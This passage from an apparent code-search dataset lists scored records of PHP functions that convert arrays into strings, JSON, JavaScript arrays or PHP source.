class='MarkupFieldtype'>\";\n\t\tforeach($value as $v) {\n\t\t\t$out .= \"<li>\" . $this->valueToString($v, $encode) . \"</li>\";\n\t\t}\n\t\t$out .= \"</ul>\";\n\t\treturn $out; \n\t}", "title": "" }, { "docid": "907b464ce14a5da0bda6624606b7d27b", "score": "0.58171535", "text": "abstract public function format(): array;", "title": "" }, { "docid": "f5d44a5d2c13579dfd37bc43194c13c3", "score": "0.5806891", "text": "function fn_array2code_string($object, $indent = 0, $type = '')\n{\n $scheme = '';\n\n if ($type == '') {\n if (is_array($object)) {\n $type = 'array';\n } elseif (is_numeric($object)) {\n $type = 'integer';\n }\n }\n\n if ($type == 'array') {\n $scheme .= \"array(\";\n if (is_array($object)) {\n if (!empty($object)) {\n $scheme .= \" \\n\";\n }\n foreach ($object as $k => $v) {\n $scheme .= str_repeat(\"\\t\", $indent + 1) . \"'$k' => \" . fn_array2code_string($v, $indent + 1). \", \\n\";\n }\n }\n $scheme .= str_repeat(\"\\t\", $indent) . \")\";\n } elseif ($type == 'int' || $type == 'integer') {\n if ($object == '') {\n $scheme .= 0;\n } else {\n $scheme .= $object;\n }\n } else {\n $scheme = \"'$object'\";\n }\n\n return $scheme;\n}", "title": "" }, { "docid": "dd8540c0d94b71b7b83a120420490627", "score": "0.5802403", "text": "protected function get_type() {\n\t\treturn 'array';\n\t}", "title": "" }, { "docid": "91518a15fdca364f55147198632e362e", "score": "0.5745158", "text": "private static function arrayToJson(array $phpArray) {\n\t\t$serializableValue = array();\n\t\tforeach ($phpArray as $key=>$val) {\n\t\t\tif ($val instanceof MoufInstanceDescriptor) {\n\t\t\t\t$value = $val->getIdentifierName();\n\t\t\t} else if (is_array($val)) {\n\t\t\t\t$value = self::arrayToJson($val);\n\t\t\t} else {\n\t\t\t\t$value = $val;\n\t\t\t}\n\t\t\t\t\n\t\t\t$serializableValue[] = array(\n\t\t\t\t\t\"key\" => $key,\n\t\t\t\t\t\"value\" => $value\n\t\t\t);\n\t\t}\n\t\treturn $serializableValue;\n\t}", "title": "" }, { "docid": "d1c98d7329b351a8a184d4c8904404b3", "score": "0.5735717", "text": "public abstract function dump(Array $data);", "title": "" }, { "docid": "e3693b10ffbe020bb08586c1b53cd479", "score": "0.57255936", "text": "public function __tostring()\n {\n $array = '';\n for($i=0;$i<$this->size;$i++)\n {\n $array = $array.' '.$this->$i->data;\n }\n return $array;\n }", "title": "" }, { "docid": "569d90aa75ae86606a60e3377deef70a", "score": "0.5725134", "text": "function arr_repr($arr) {\n $s = '[';\n foreach ($arr as $v) {\n if (is_array($v)) {\n $s .= $this->arr_repr($v);\n } else {\n $s .= \"$v, \";\n }\n }\n return rtrim($s, ', ') . ']';\n }", "title": "" }, { "docid": "f23069de1f7a2e7947952898267d963a", "score": "0.571943", "text": "private static function encode_array($array)\n {\n if (self::is_list($array)) {\n $return = 'l';\n foreach ($array as $value) {\n $return .= self::encode($value);\n }\n } else {\n ksort($array, SORT_STRING);\n $return = 'd';\n foreach ($array as $key => $value) {\n $return .= self::encode(strval($key)) . self::encode($value);\n }\n }\n\n return $return . 'e';\n }", "title": "" }, { "docid": "39eca55642d64ab1a06ccfd2fc701207", "score": "0.56998324", "text": "function arrayToJson($phpArray) {\r\n\t$numElements = count($phpArray);\r\n\t$jsonString = \"[\";\r\n\t$i = 0;\r\n\tforeach ($phpArray as $element) {\r\n\t\tif(++$i === $numElements) {\r\n\t \t$jsonString.=\"\\\"\".$element.\"\\\"\";\r\n\t \t}\r\n\t\telse $jsonString.=\"\\\"\".$element.\"\\\", \";\r\n\t}\r\n\t$jsonString.=\"]\";\t\r\n\treturn $jsonString;\r\n}", "title": "" }, { "docid": "2adf2d2dde06ceef1ec297e620d06b35", "score": "0.56966573", "text": "function json_enc($array) {\n\treturn json_encode( array_map( \"f\", $array ) );\n}", "title": "" }, { "docid": "a158eec358f5e4b40a7243e77ca1dfcd", "score": "0.56827635", "text": "function json_encode_array($array, $alias = null)\n\t{\n\t\tob_start();\n\t\techo \"[\";\n\t\t$sz = sizeof($array);\n\t\tforeach($array as $key => $item) {\n\t\t\tif(isset($alias[$key]))\n\t\t\t\t$key = $alias[$key];\n\n\t\t\tif(is_array($item) && is_numeric(key($item)))\n\t\t\t\techo json_encode_array($item, $alias);\n\t\t\telse\n\t\t\tif(is_array($item))\n\t\t\t\techo json_encode_object($item, $alias);\n\t\t\telse {\n\t\t\t\tif(is_numeric($item ))\n\t\t\t\t\techo $item;\n\t\t\t\telse\n\t\t\t\t\techo \"\\\"\".string_prepare_json($item).\"\\\"\";\n\t\t\t}\n\t\t\tif(--$sz > 0)\n\t\t\t\techo \",\";\n\n\t\t}\n\t\techo \"]\";\n\t\treturn ob_get_clean();\n\t}", "title": "" }, { "docid": "4d2e5bd0c1579ff3bb78bfdf97659f74", "score": "0.5667238", "text": "public static function arrayToString($data) {\n return json_encode($data, JSON_UNESCAPED_UNICODE);\n }", "title": "" }, { "docid": "13ac31a458169e85e54658b2dcc708f9", "score": "0.5643174", "text": "function PHPArray2Text($hash,$indent=\"\")\n {\n $text=\n \"array\\n\".\n $indent.\"(\\n\";\n\n //All keys\n $keys=array_keys($hash);\n\n //non-Numeric valued keys\n $rkeys=preg_grep('/[^\\d]/',$keys);\n\n foreach ($hash as $key => $value)\n {\n $keyvalue=\"\";\n if (is_array($value))\n {\n $keyvalue=$this->PHPArray2Text($value,$indent.\" \").\",\";\n }\n else\n {\n $keyvalue=$value.',';\n }\n\n if (count($rkeys)==0)\n {\n $text.=\n $indent.\" \".$keyvalue.\n \"\\n\";\n }\n else\n {\n $text.=\n $indent.\" '\".$key.\"'\".\n \" => \".\n $keyvalue.\n \"\\n\";\n }\n }\n $text.=$indent.\")\";\n\n return $text;\n }", "title": "" }, { "docid": "726e7580447976a8b351a6fcb98b88f6", "score": "0.5642784", "text": "function ArrayToString($array)\n{\n\t$string = \"\";\n\t\n\trequire_once('baza.php');\n\t$db = new Baza();\n\t$db->spojiDB();\n\t\n\tfor($i = 0; $i < count($array); $i++)\n\t{\n\t\t$element = $db->real_escape_string($array[$i]);\n\t\tif (count($array)-1 == $i)\n\t\t{\n\t\t\t$string .= \"'\" . $element . \"'\";\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$string .= \"'\" . $element . \"',\";\n\t\t}\n\t}\t\n\treturn $string;\n}", "title": "" }, { "docid": "06f1be1036348d21ecabb8377eb77956", "score": "0.5618718", "text": "public static function formatPhpArr($arr,$count=0)\n\t{\n\t\t$space\t\t=\tstr_repeat('\t',$count);\n\t\t$nextSpace\t=\tstr_repeat('\t',$count+1);\n\t\t$str='['.PHP_EOL;\n\t\t\n\t\tforeach($arr as $k=>$v)\n\t\t{\n\t\t\tif(is_object($v))\n\t\t\t{\n\t\t\t\tthrow new \\Exception('the node can\\'t for the object');\n\t\t\t}\n\t\t\tif(is_resource($v))\n\t\t\t{\n\t\t\t\tthrow new \\Exception('the node can\\'t for the resource');\n\t\t\t}\n\t\t\t\n\t\t\tif(is_array($v))\n\t\t\t{\n\t\t\t\t$str.=$nextSpace.'\"'.$k.'\"=>'.self::formatPhpArr($v,$count+1);\n\t\t\t}else if(is_string($v)){\n\t\t\t\t$str.=$nextSpace.'\"'.$k.'\"=>\"'.$v.'\",'.PHP_EOL;\n\t\t\t}else{\n\t\t\t\t$str.=$nextSpace.'\"'.$k.'\"=>'.$v.','.PHP_EOL;\n\t\t\t}\n\t\t}\n\t\t$endSymbol\t=\t$count==0 ? ';' : ',';\n\t\t$str.=$space.']'.$endSymbol.PHP_EOL;\n\t\treturn $str;\n\t}", "title": "" }, { "docid": "9f49683964c192748883b76cfd608c86", "score": "0.5617869", "text": "function output_javascript_array($array, $print = true) {\n\t$output = '[';\n\n\tif ( is_array($array) and !empty($array) ) {\n\t\tarray_walk($array, 'js_format_array');\n\t\t$output .= implode(', ', $array);\n\t}\n\n\t$output .= ']';\n\n\treturn $print ? print($output) : $output;\n}", "title": "" }, { "docid": "537fb042998fcd978dc5da3f2bccaa2c", "score": "0.5602774", "text": "public function get_data_as_string ()\n\t{\n\t\treturn json_encode($this->get_data_as_array());\n\t}", "title": "" }, { "docid": "a149f897299d99c976705dee367e60c8", "score": "0.5600693", "text": "public function &encode(){\r\n\t\t$str='{';\r\n\t\tfor ($i=0; $this->getCount() > $i; $i++){\r\n\t\t\t$item=$this->itemAt($i);\r\n\t\t\t$str.=\"'\".$item->getProperty().\"' : \";\r\n\t\t\t\r\n\t\t\tif(self::TYPE_AUTO==$item->getType()){\r\n\t\t\t\tswitch (gettype($item->getValue())){\r\n\t\t\t\t\tcase \"boolean\":\r\n\t\t\t\t\t\t$type=self::TYPE_BOOLEAN;\r\n\t\t\t\t\tbreak;\r\n\t\t\t\t\t\r\n\t\t\t\t\tcase \"integer\":\r\n\t\t\t\t\t\t$type=self::TYPE_NUMERIC;\r\n\t\t\t\t\tbreak;\r\n\t\t\t\t\t\r\n\t\t\t\t\tcase \"double\":\r\n\t\t\t\t\t\t$type=self::TYPE_NUMERIC;\r\n\t\t\t\t\tbreak;\r\n\t\t\t\t\t\r\n\t\t\t\t\tcase \"string\":\r\n\t\t\t\t\t\t$type=self::TYPE_STRING;\r\n\t\t\t\t\tbreak;\r\n\t\t\t\t\t\r\n\t\t\t\t\tcase \"array\":\r\n\t\t\t\t\t\t$type=self::TYPE_ARRAY;\r\n\t\t\t\t\tbreak;\r\n\t\t\t\t\t\r\n\t\t\t\t\tdefault:\r\n\t\t\t\t\t\t$type=self::TYPE_STRING;\r\n\t\t\t\t\tbreak;\r\n\t\t\t\t}\r\n\t\t\t}else\r\n\t\t\t\t$type=$item->getType();\r\n\t\t\t\r\n\t\t\tswitch ($type){\r\n\t\t\t\t\r\n\t\t\t\tcase self::TYPE_BOOLEAN:\r\n\t\t\t\t\t$str.=(($item->getValue()) ? 'true' : 'false').', ';\r\n\t\t\t\tbreak;\r\n\t\t\t\t\r\n\t\t\t\tcase self::TYPE_NUMERIC:\r\n\t\t\t\t\t$str.=$item->getValue().\", \";\r\n\t\t\t\tbreak;\r\n\t\t\t\t\r\n\t\t\t\tcase self::TYPE_STRING:\r\n\t\t\t\t\t$str.=\"'\".$item->getValue().\"', \";\r\n\t\t\t\tbreak;\r\n\t\t\t\t\r\n\t\t\t\tcase self::TYPE_ARRAY:\r\n\t\t\t\t\t$str.=\"[\";\r\n\t\t\t\t\t$itemArr=$item->getValue();\r\n\t\t\t\t\tforeach ($itemArr as $itemVal){\r\n\t\t\t\t\t\tswitch (gettype($itemVal)){\r\n\t\t\t\t\t\t\tcase \"boolean\":\r\n\t\t\t\t\t\t\t\t$str.=(($itemVal) ? 'true' : 'false').', ';\r\n\t\t\t\t\t\t\tbreak;\r\n\t\t\t\t\t\t\t\r\n\t\t\t\t\t\t\tcase \"integer\":\r\n\t\t\t\t\t\t\t\t$str.=$itemVal.\", \";\r\n\t\t\t\t\t\t\tbreak;\r\n\t\t\t\t\t\t\t\r\n\t\t\t\t\t\t\tcase \"double\":\r\n\t\t\t\t\t\t\t\t$str.=$itemVal.\", \";\r\n\t\t\t\t\t\t\tbreak;\r\n\t\t\t\t\t\t\t\r\n\t\t\t\t\t\t\tcase \"string\":\r\n\t\t\t\t\t\t\t\t$str.=\"'\".$itemVal.\"', \";\r\n\t\t\t\t\t\t\tbreak;\r\n\t\t\t\t\t\t\t\r\n\t\t\t\t\t\t\tdefault:\r\n\t\t\t\t\t\t\t\t$str.=\"'\".$itemVal.\"', \";\r\n\t\t\t\t\t\t\tbreak;\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\t\t$str=substr($str, 0, strlen($str)-2);\r\n\t\t\t\t\t$str.=\"], \";\r\n\t\t\t\tbreak;\r\n\t\t\t\t\r\n\t\t\t\tcase self::TYPE_FUNCTION:\r\n\t\t\t\t\t$str.=$item->getValue().\", \";\r\n\t\t\t\tbreak;\r\n\t\t\t\t\r\n\t\t\t}\r\n\t\t}\r\n\t\t$str=substr($str, 0, strlen($str)-2);\r\n\t\t$str.='}';\r\n\t\treturn $str;\r\n\t}", "title": "" }, { "docid": "ea322f1156e317049d21989ea15a60a7", "score": "0.5593906", "text": "private function printArray(array $data): string\n {\n $output = '[';\n foreach ($data as $name => $value) {\n $output .= sprintf('%s => %s,', (\\is_int($name) ? $name : '\"' . $name . '\"'), \\is_array($value) ? $this->printArray($value) : (\"'\" . $value . \"'\"));\n }\n $output .= ']';\n\n return $output;\n }", "title": "" }, { "docid": "002982314deb29a9b3cf1b2f9bb12a62", "score": "0.5585854", "text": "public static function toJson($array) {\r\n \t$numericOnly = true;\r\n\r\n \t$arrayItems = array();\r\n \t$objectItems = array();\r\n\r\n\t\tforeach ($array as $k => $v) {\r\n\t\t\tif ($numericOnly && ! is_numeric($k)) {\r\n\t\t\t\t$numericOnly = false;\r\n\t\t\t}\r\n\r\n\t\t\tif (is_null($v)) {\r\n\t\t\t\t$v = 'null';\r\n\t\t\t} elseif (is_array($v) || is_object($v)) {\r\n\t\t\t\t$v = self::toJson($v);\r\n\t\t\t} elseif (is_bool($v)) {\r\n\t\t\t\t$v = $v ? 'true' : 'false';\r\n\t\t\t} elseif (is_numeric($v)) {\r\n\t\t\t\t// do nothing\r\n\t\t\t} elseif (is_string($v)) {\r\n\t\t\t\t$v = '\"' . str_replace(array(\"\\n\", \"\\r\"), '\\\\n', addslashes($v)) . '\"';\r\n\t\t\t}\r\n\t\t\t$arrayItems[] = $v;\r\n\t\t\t$objectItems[$k] = \"\\\"$k\\\":$v\";\r\n\t\t}\r\n\r\n\t\tif ($numericOnly) {\r\n\t\t\treturn '([' . implode(',', $arrayItems) . '])';\r\n\t\t} else {\r\n\t\t\treturn '({' . implode(',', $objectItems) . '})';\r\n\t\t}\r\n\t}", "title": "" }, { "docid": "946fffc6827b2125f714d4afc095ea72", "score": "0.5562328", "text": "function array2json($arr) {\n if(function_exists('json_encode')) return json_encode($arr); //Lastest versions of PHP already has this functionality.\n $parts = array();\n $is_list = false;\n\n //Find out if the given array is a numerical array\n $keys = array_keys($arr);\n $max_length = count($arr)-1;\n if(($keys[0] == 0) and ($keys[$max_length] == $max_length)) {//See if the first key is 0 and last key is length - 1\n $is_list = true;\n for($i=0; $i<count($keys); $i++) { //See if each key correspondes to its position\n if($i != $keys[$i]) { //A key fails at position check.\n $is_list = false; //It is an associative array.\n break;\n }\n }\n }\n\n foreach($arr as $key=>$value) {\n if(is_array($value)) { //Custom handling for arrays\n if($is_list) $parts[] = array2json($value); /* :RECURSION: */\n else $parts[] = '\"' . $key . '\":' . array2json($value); /* :RECURSION: */\n } else {\n $str = '';\n if(!$is_list) $str = '\"' . $key . '\":';\n\n //Custom handling for multiple data types\n if(is_numeric($value)) $str .= $value; //Numbers\n elseif($value === false) $str .= 'false'; //The booleans\n elseif($value === true) $str .= 'true';\n else $str .= '\"' . addslashes($value) . '\"'; //All other things\n // :TODO: Is there any more datatype we should be in the lookout for? (Object?)\n\n $parts[] = $str;\n }\n }\n $json = implode(',',$parts);\n \n if($is_list) return '[' . $json . ']';//Return numerical JSON\n return '{' . $json . '}';//Return associative JSON\n}", "title": "" }, { "docid": "5b6bb9e6b11d520ef9caa01957b9d08f", "score": "0.55619407", "text": "static function encodeArray( $obj )\n\t{\n\t\n\t\t$ret = \"[\";\n\t\n\t\tif ( is_array( $obj ) && (0 < count( $obj ) ) )\n\t\t{\n\t\t\t$sep = \"\";\n\n\t\t\tif ( JSON::is_assoc( $obj ) )\n\t\t\t{\n\t\t\t\tforeach ( $obj as $name => $tuple )\n\t\t\t\t{\n\t\t\t\t\t$ret .= $sep;\n\t\t\t\t\t\n\t\t\t\t\t$ret .= \"{\\\"$name\\\":\";\n\n\t\t\t\t\tif ( is_array( $tuple ) && JSON::is_assoc( $tuple ) )\n\t\t\t\t\t{\n\t\t\t\t\t\t$ret .= JSON::encodeTupleX( $tuple );\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\tif ( is_array( $tuple ) )\n\t\t\t\t\t{\n\t\t\t\t\t\t$ret .= JSON::encodeArray( $tuple );\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t{\n\t\t\t\t\t\t$ret .= \"\\\"$tuple\\\"}\";\n\t\t\t\t\t}\n\t\t\t\t\t$sep = \",\";\n\t\t\t\t}\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tforeach ( $obj as $tuple )\n\t\t\t\t{\n\t\t\t\t\t$ret .= $sep;\n\n\t\t\t\t\tif ( is_array( $tuple ) && JSON::is_assoc( $tuple ) )\n\t\t\t\t\t{\n\t\t\t\t\t\t$ret .= JSON::encodeTupleX( $tuple );\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\tif ( is_array( $tuple ) )\n\t\t\t\t\t{\n\t\t\t\t\t\t$ret .= JSON::encodeX( $tuple );\n\t\t\t\t\t}\n\t\t\t\t\t$sep = \",\";\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\t$ret .= \"]\";\n\n\t\treturn $ret;\n\t}", "title": "" }, { "docid": "f747f639d144bf7ba0f95348f1931271", "score": "0.55505514", "text": "public function esc_array( $arr ) {\n\t\treturn array_map( array( $this, 'esc_value' ), $arr );\n\t}", "title": "" }, { "docid": "93786cdeec9582c90b1efab4ecea6ccb", "score": "0.554898", "text": "function phpToJava($array){\n\tif(is_array($array)){\n\t\t$result = '[';\n\t\tfor($i=0; $i<(count($array)-1); $i++){\n\t\t\t$result .= $array[$i].',';\n\t\t}\n\t\t$result .= $array[count($array)-1].']';\n\t}else{\n\t\t$result = '['.$array.']';\n\t}\n\treturn $result;\n}", "title": "" }, { "docid": "b0bb2616cb630016aab63d2955ea168f", "score": "0.55356467", "text": "public function arrayToSqlIn($arr = [])\n\t\t{\n\t\t\t$dop = array_fill(0, count($arr), 256);\n\t\t\tforeach ($arr as $key => $value) {\n\t\t\t\t$arr[$key] = trim($value, \"'\");\n\t\t\t}\n\t\t\treturn @implode(',', array_map('json_encode', $arr, $dop));\n\t\t}", "title": "" }, { "docid": "9646b5e78012e2243f33e11eb640c8a4", "score": "0.55337656", "text": "public function toCode() {\n\t\t$type = $this->FieldType;\n\t\tif ($this->FieldArgs) {\n\t\t\t// Add the optional arguments.\n\t\t\t$type .= '(' . $this->FieldArgs . ')';\n\t\t}\n\n\t\treturn $this->quoteString($this->FieldName) . ' => ' . $this->quoteString($type);\n\t}", "title": "" }, { "docid": "710b3ca704e6a2d97a1ab18b9846df9d", "score": "0.55319947", "text": "function print_array($row)\n{\n\n\n echo EncodeJson($row);\n\n\n\n}", "title": "" }, { "docid": "dcea6b7d74f2dd6953d0beb502e09b9a", "score": "0.55282", "text": "private static function arrayToJson($arr) {\n return self::json_format(json_encode($arr));\n }", "title": "" }, { "docid": "6b861e458d19fed46f33485992486fe0", "score": "0.55194664", "text": "function arrayToJsArray( $array, $name, $nl = \"\\n\", $encoding = false )\r\n{\tif (is_array($array))\r\n\t{\t$jsArray = $name . ' = new Array();'.$nl;\r\n\t\tforeach($array as $key => $value)\r\n\t\t{\tswitch (gettype($value))\r\n\t\t\t{\tcase 'unknown type':\r\n\t\t\t\tcase 'resource':\r\n\t\t\t\tcase 'object':\tbreak;\r\n\t\t\t\tcase 'array':\t$jsArray .= arrayToJsArray($value,$name.'['.valueToJsValue($key, $encoding).']', $nl);\r\n\t\t\t\t\t\t\t\tbreak;\r\n\t\t\t\tcase 'NULL':\t$jsArray .= $name.'['.valueToJsValue($key,$encoding).'] = null;'.$nl;\r\n\t\t\t\t\t\t\t\tbreak;\r\n\t\t\t\tcase 'boolean':\t$jsArray .= $name.'['.valueToJsValue($key,$encoding).'] = '.($value ? 'true' : 'false').';'.$nl;\r\n\t\t\t\t\t\t\t\tbreak;\r\n\t\t\t\tcase 'string':\t$jsArray .= $name.'['.valueToJsValue($key,$encoding).'] = '.valueToJsValue($value, $encoding).';'.$nl;\r\n\t\t\t\t\t\t\t\tbreak;\r\n\t\t\t\tcase 'double':\r\n\t\t\t\tcase 'integer':\t$jsArray .= $name.'['.valueToJsValue($key,$encoding).'] = '.$value.';'.$nl;\r\n\t\t\t\t\t\t\t\tbreak;\r\n\t\t\t\tdefault:\ttrigger_error('Hoppa, egy j t�us a PHP-ben?'.__CLASS__.'::'.__FUNCTION__.'()!', E_USER_WARNING);\r\n\t\t\t}\r\n\t\t}\r\n\t\treturn $jsArray;\r\n\t}\r\n\telse\r\n\t{\treturn false;\t}\r\n}", "title": "" }, { "docid": "4510adfb802de2fee018510f8d086c39", "score": "0.5513563", "text": "function fwrs_array_encode64_value($array,$parameter_no_encode=NULL,$deep_label=NULL)\r\n{\r\n\t$array_temp\t\t=\t$array;\r\n\t$flag_encode\t=\ttrue;\r\n\tforeach($array_temp as $label =>$value)\r\n\t{\r\n\t\t$flag_encode\t=\ttrue;\r\n\t\t\r\n\t\tif(is_array($value))\r\n\t\t{\r\n\t\t\t$array_temp[$label]\t=\tfwrs_array_encode64_value($value,$parameter_no_encode,$label);\r\n\t\t}else{\r\n\t\t\t\r\n\t\t\tif(is_array($parameter_no_encode))\r\n\t\t\t{\r\n\t\t\t\tif(in_array($deep_label ? $deep_label : $label,$parameter_no_encode)) $flag_encode=false;\r\n\t\t\t}\r\n\t\t\t\tif($flag_encode)\r\n\t\t\t\t\t$array_temp[$label]\t=\tbase64_encode($value);\r\n\t\t\t\telse\r\n\t\t\t\t\t$array_temp[$label]\t=\t$value;\r\n\t\t\t\t\r\n\t\t\t\t\r\n\t\t}\r\n\t}\r\n\treturn $array_temp;\r\n}", "title": "" }, { "docid": "bec5a15d2ba5d661bdbb1620f53a76a9", "score": "0.55095094", "text": "public static function asPhp($variable)\r\n\t {\r\n\t \r\n\t $array_str=str_replace(array(\"\\n\", 'array ('), array('', 'array('), var_export($variable, true));\r\n\t return $array_str;\r\n\t }", "title": "" }, { "docid": "5a2df57eec05640c742da55eee3dbe8b", "score": "0.5508703", "text": "function constructSingleStringKeyValueArray($var) {\n\tglobal $adb;\n $size = sizeof($var);\n $i=1;\n if (is_array($var)) {\n\t\t$code = 'array(';\n\t\tforeach ($var as $key => $value) {\n\t\t //fix for signatue quote(') issue\n $value = escape_single_quotes($value);\n\t\t\tif($i<$size) {\n\t\t\t\t$code .= \"'\".$key.\"'=>'\".$value.\"',\";\n\t\t\t} else {\n\t\t\t\t$code .= \"'\".$key.\"'=>'\".$value.\"'\";\n\t\t\t}\n\t\t\t$i++;\n\t\t}\n\t $code .= ')';\n\t return $code;\n }\n}", "title": "" }, { "docid": "5d3bab5e3888a825b6a39320fc633131", "score": "0.5508494", "text": "public function toRaw()\n {\n return array_map(function ($value) {\n if ($value instanceof Rawable) {\n return $value->toRaw();\n }\n return $value instanceof Arrayable ? $value->toArray() : $value;\n }, $this->data);\n }", "title": "" }, { "docid": "30ff2e1dff3eece378e71ea6244300b0", "score": "0.5508236", "text": "abstract public function to_array();", "title": "" }, { "docid": "0041f83554d2c5e89f370e40b811a54c", "score": "0.5507846", "text": "public function __toString()\n {\n $elements = $this->elements;\n foreach ($elements as $key => $element)\n {\n if (is_string($element))\n $elements[$key] = '\"'.$element.'\"';\n else\n $elements[$key] = str_replace(\"\\n\", ' ',\n var_export($element, true));\n }\n\n if (isEmpty($this->name))\n $str = '[ ';\n else\n $str = ':'.$this->name.':[ ';\n\n $str .= implode(' | ', $elements);\n $str .= ' ]';\n return $str;\n }", "title": "" }, { "docid": "95fe839ceb9fbc43329fc7f1772b6fc3", "score": "0.5495782", "text": "function data_output ($data){\n $fields= array();\n \t \tforeach($data as $key => $value) {\n\t $row= array();\n\t\t\t foreach ($value as $keyvalue => $valuedata) {\n\t\t\t\t if($valuedata!=null && is_string($valuedata)){\n\t\t\t\t $row[$keyvalue] = utf8_encode($valuedata);\n\t\t\t\t }\n\t\t\t\t else {\n\t\t\t\t $row[$keyvalue] = $valuedata;\n\t\t\t\t }\n\t\t\t \n\t\t\t }\n\t \t\t$fields[]=$row;\n\t \t} \n return $fields;\n }", "title": "" }, { "docid": "68c0a65e256081a657ed4d1738a5b99d", "score": "0.5493129", "text": "public function _array(): array;", "title": "" }, { "docid": "0ab6bccc0e190769f253d7dfe609cbab", "score": "0.5489727", "text": "public static function phpArrayToPostgresArray(array $array)\n {\n $array = self::removeKeys($array);\n $array = json_encode($array, JSON_UNESCAPED_UNICODE);\n\n return str_replace('[', '{', str_replace(']', '}', str_replace('\"', '', $array)));\n }", "title": "" }, { "docid": "98df9eb84932a3d4238099e4cd77af4b", "score": "0.5479486", "text": "function ux_builder_to_string( $array ) {\n return ux_builder( 'to-string' )->transform( $array );\n}", "title": "" }, { "docid": "69a826c20b44426f93ca2a43b348b472", "score": "0.5477956", "text": "public function writeArray(array $data);", "title": "" }, { "docid": "68abbd7c0b98f2cf9a8416eb0eab678a", "score": "0.5472352", "text": "public function convertArrayToJavascriptArrayString($array){\n $string = '';\n $size = count($array);\n $count = 0;\n foreach($array as $value){\n $count++;\n $string .= '\"'.$value.'\"';\n if($count<$size){\n $string.=',';\n }\n }\n \n return $string;\n }", "title": "" }, { "docid": "7a5d82cf4824a006546776682e22cea1", "score": "0.54701525", "text": "private function _arr_series_to_string($arr = array())\n\t{\n\t\t$arr_temp = array();\n\t\tforeach($arr as $arr_elem)\n\t\t{\n\t\t\tarray_push($arr_temp, '[' . implode(',', $arr_elem) . ']');\n\t\t}\n\t\treturn('[' . implode(',', $arr_temp) . ']');\n\t}", "title": "" }, { "docid": "cf655a6ad96812d8649ddeb197d221fd", "score": "0.5467483", "text": "public function toArray()\n {\n $data = array();\n /** @var $record Record */\n foreach ($this as $key => $record) {\n $data[$key] = $record->toArray();\n }\n return $data;\n }", "title": "" }, { "docid": "99491970aa9c4696fbaa2e9aacac90aa", "score": "0.5450654", "text": "public function getArrayRepresentation()\n {\n return $this->_arrayRepresentation;\n\n }", "title": "" }, { "docid": "c7cc78d4a068a8f41d771e884cb22503", "score": "0.5450266", "text": "static public function arrayToJson($arg_php_value)\n\t{\n\t\t$context = \"JSWRAPPER::arrayToJson\";\n\t\t\n\t\t// CHECK ARGUMENT\n\t\tCONTRACT::assertArray($context, $arg_php_value);\n\t\t\n\t\t// STANDARD CONVERSION\n\t\treturn json_encode($arg_php_value);\n\t}", "title": "" }, { "docid": "6e92003d673b7d91aa832f8ac978eeac", "score": "0.5449125", "text": "public function formatRecordList($records, $human_labels = array()) {\n return json_encode((array)$records, $this->json_options);\n }", "title": "" }, { "docid": "8535c670ea53291346d4fe99a5f9e9e7", "score": "0.544572", "text": "function showarray($t) {echo '<pre>'.print_r($t,1).'</pre>';}", "title": "" }, { "docid": "a86cbf38e744755583ccb5aafbce167d", "score": "0.5442394", "text": "public function getJSON(): string\n {\n $data = [];\n foreach ($this->records as $record) {\n $settings = [\n 'index' => [\n '_index' => $this->index->getName(),\n '_type' => $this->index->getType(),\n '_id' => $this->index->getRecordID($record),\n ],\n ];\n $data[] = json_encode($settings).\"\\n\".json_encode($record);\n }\n\n return implode(\"\\n\", $data).\"\\n\";\n }", "title": "" }, { "docid": "974aaabf3791b8221f61f51c5efda2bc", "score": "0.5422226", "text": "public function to_str() {\n return $this->to_arr()->to_str();\n }", "title": "" }, { "docid": "9bd2868cb0e52e4884903d9577e92478", "score": "0.5422034", "text": "function get_array_as_javascript_array($array, $name){\n $str = \"$name = new Array();\\n\";\n $countertop = 0;\n foreach($array as $keytop => $valuetop){\n if(is_array($valuetop)){\n //we've got another level to process\n $str .= $name.\"[\".$countertop.\"] = new Array();\\n\";\n foreach($valuetop as $keyinner => $valueinner){\n if(!is_int($keyinner)){\n $keyinner = \"'\".$keyinner.\"'\";\n }\n $str .= $name.\"[\".$countertop.\"][\".$keyinner.\"] = \\\"\".trim($valueinner).\"\\\";\\n\";\n }\n } else {\n if(!is_int($keytop)){\n $keytop = \"'\".$keytop.\"'\";\n }\n $str .= $name.\"[\".$keytop.\"] = \\\"\".$valuetop.\"\\\";\\n\";\n }\n $countertop++;\n }\n return $str;\n}", "title": "" }, { "docid": "bd9e41b917187862dcad9395082d3f6d", "score": "0.54215825", "text": "public function toArray()\n {\n return $this->_raw;\n }", "title": "" }, { "docid": "8d2140be3a1626fc950cd70b442612bf", "score": "0.54101443", "text": "protected function RenderArray()\n {\n if ($this->m_Mode != MODE_Q && $this->m_DataObjName) {\n $this->m_Range = 1;\n if (!$this->_run_search($resultRecords, $this->m_ClearSearchRule))\n return $this->ProcessDataObjError($ok);\n }\n\n $columns = $this->m_RecordRow->RenderColumn();\n foreach($columns as $key=>$val) {\n $fields[$key][\"label\"] = $val;\n $fields[$key][\"required\"] = $this->GetControl($key)->m_Required;\n $fields[$key][\"description\"] = $this->GetControl($key)->m_Description;\n $fields[$key][\"value\"] = $this->GetControl($key)->m_Value;\t \n }\n\n $controls = $this->m_RecordRow->Render();\n if ($this->CanShowData()) {\n foreach($controls as $key=>$val) {\n $fields[$key][\"control\"] = $val;\n }\n }\n return $fields;\n }", "title": "" }, { "docid": "8bcec0f94b18094609e9da077d0da5a6", "score": "0.5409741", "text": "function arrayToString($params){\n\t\t$st = \"\";\t\n\t\t$index=0;\t\n\t\tforeach ($params as $key=>$value){\n\t\t\t$index++;\n\t\t\tif(!is_numeric($key)){\n\t\t\t\t$st.=\"$key=\";\n\t\t\t}\n\t\t\tif(is_string($value) || is_numeric($value)){\t\t\t\t\n\t\t\t\t$st.=$value;\n\t\t\t}else if(is_array($value)){\n\t\t\t\t$st.=$this->arrayToString($value);\n\t\t\t}else if(is_bool($value)){\n\t\t\t\t$st.=($value?\"true\":\"false\");\n\t\t\t}else if(is_a($value, 